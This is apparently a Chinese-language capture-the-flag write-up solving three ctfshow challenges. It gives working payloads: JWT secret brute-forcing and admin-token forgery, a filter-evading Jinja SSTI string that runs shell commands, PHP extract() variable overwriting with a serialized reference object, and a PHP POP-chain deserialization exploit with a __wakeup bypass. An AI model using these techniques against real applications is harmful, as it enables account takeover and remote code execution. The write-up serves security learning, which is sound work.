前言

因在学校未能参加击剑杯,很遗憾
趁这次发烧回家的机会做一下

通关大佬

任意登录一个非管理员账号
查看cookie 发现jwt字段 进行解密后发现user字段 并且为加密

1.png
放到脚本爆破
得到key
2.png
进行加密改成admin 并且exp字段为有效时段 改长点4.png
进行替换
输入内容 发现为模板渲染漏洞(ssti)
5.png
过滤的有点多 看wp
学习大佬的payload
/edit?a=__init__&b=__globals__&c=__getitem__&d=os&e=popen&f=whoami&g=read
name={%25set r=request.args%25}&rank=1&speech={{(config|attr(r.a)|attr(r.b))|attr(r.c)(r.d)|attr(r.e)(r.f)|attr(r.g)()}}&time=2021年11月11日6.png

给我看看

  1. <?php
  2. header("Content-Type: text/html;charset=utf-8");
  3. error_reporting(0);
  4. require_once("flag.php");
  5. class whoami{
  6. public $name;
  7. public $your_answer;
  8. public $useless;
  9. public function __construct(){
  10. $this->name='ctfshow第一深情';
  11. $this->your_answer='Only you know';
  12. $this->useless="I_love_u";
  13. }
  14. public function __wakeup(){
  15. global $flag;
  16. global $you_never_know;
  17. $this->name=$you_never_know;
  18. if($this->your_answer === $this->name){
  19. echo $flag;
  20. }
  21. }
  22. }
  23. $secret = $_GET['s'];
  24. if(isset($secret)){
  25. if($secret==="给我看看!"){
  26. extract($_POST);
  27. if($secret==="给我看看!"){
  28. die("<script>window.alert('这是不能说的秘密');location.href='https://www.bilibili.com/video/BV1CW411g7UF';</script>");
  29. }
  30. unserialize($secret);
  31. }
  32. }else{
  33. show_source(__FILE__);
  34. }

考点一

extract变量覆盖

考点二

&传址符引用
构造poc

<?php

class whoami{
    public $name;
    public $your_answer;
    public $useless;

    public function __construct(){
        $this->your_answer=&$this->name;
    }

}
echo serialize(new whoami);
?>

get s=给我看看!
post secret=序列化后的内容7.png

easy pop

先用
$ctfDirectoryIterator //读文件类
$show=glob:// //glob协议读取文件名 支持正则表达式
故构造如下payload
根据提示构造正则表达式8.png
f[A-z][0-9]_*

<?php 
class action_1{
    public $tmp;
    public function __construct(){
        $this->tmp=new action_2();
    }
}

class action_2{
    public $p;
    public $tmp;
    public function __construct(){
        $this->p=new action_4();
    }
}

class action_3{
    public $str;
    public $tmp;
    public $ran;
    public function __construct(){
        $this->str=new action_1();
    }
}
class action_4{
    public $ctf;
    public $show;
    public $jia;
    public function __construct(){
        $this->ctf='DirectoryIterator';
        $this->show='glob://../../..//f[A-z][0-9]_*';
    }
}
echo serialize(new action_3);
?>

9.png
利用查出来的文件名字 进行RCE 打开文件(这里也可直接利用RCE反弹shell 无需查找名字)
构造如下payload

<?php 
class action_1{
    public function __construct(){
        $this->fun = array(new action_2,'getFlag');
    }
}

class action_2{}

class action_3{
    public function __construct(){
        $this->ran = new action_1();
    }
}

class action_4{
    public function __construct(){
        $this->ran = new action_3();
    }
}

echo serialize(new action_4());

?pop=O:8:"action_4":1:{s:3:"ran";O:8:"action_3":1:{s:3:"ran";O:8:"action_1":2:{s:3:"fun";a:2:{i:0;O:8:"action_2":0:{}i:1;s:7:"getFlag";}}}}&ctfshow=fz3_.txt
trick:
将action_1后的字符属性变大一位 这样可以绕过wake_up
(php7.4版本已经修复了wake_up不会执行的漏洞)
这里是并没有不执行 而是将执行顺序换到了后面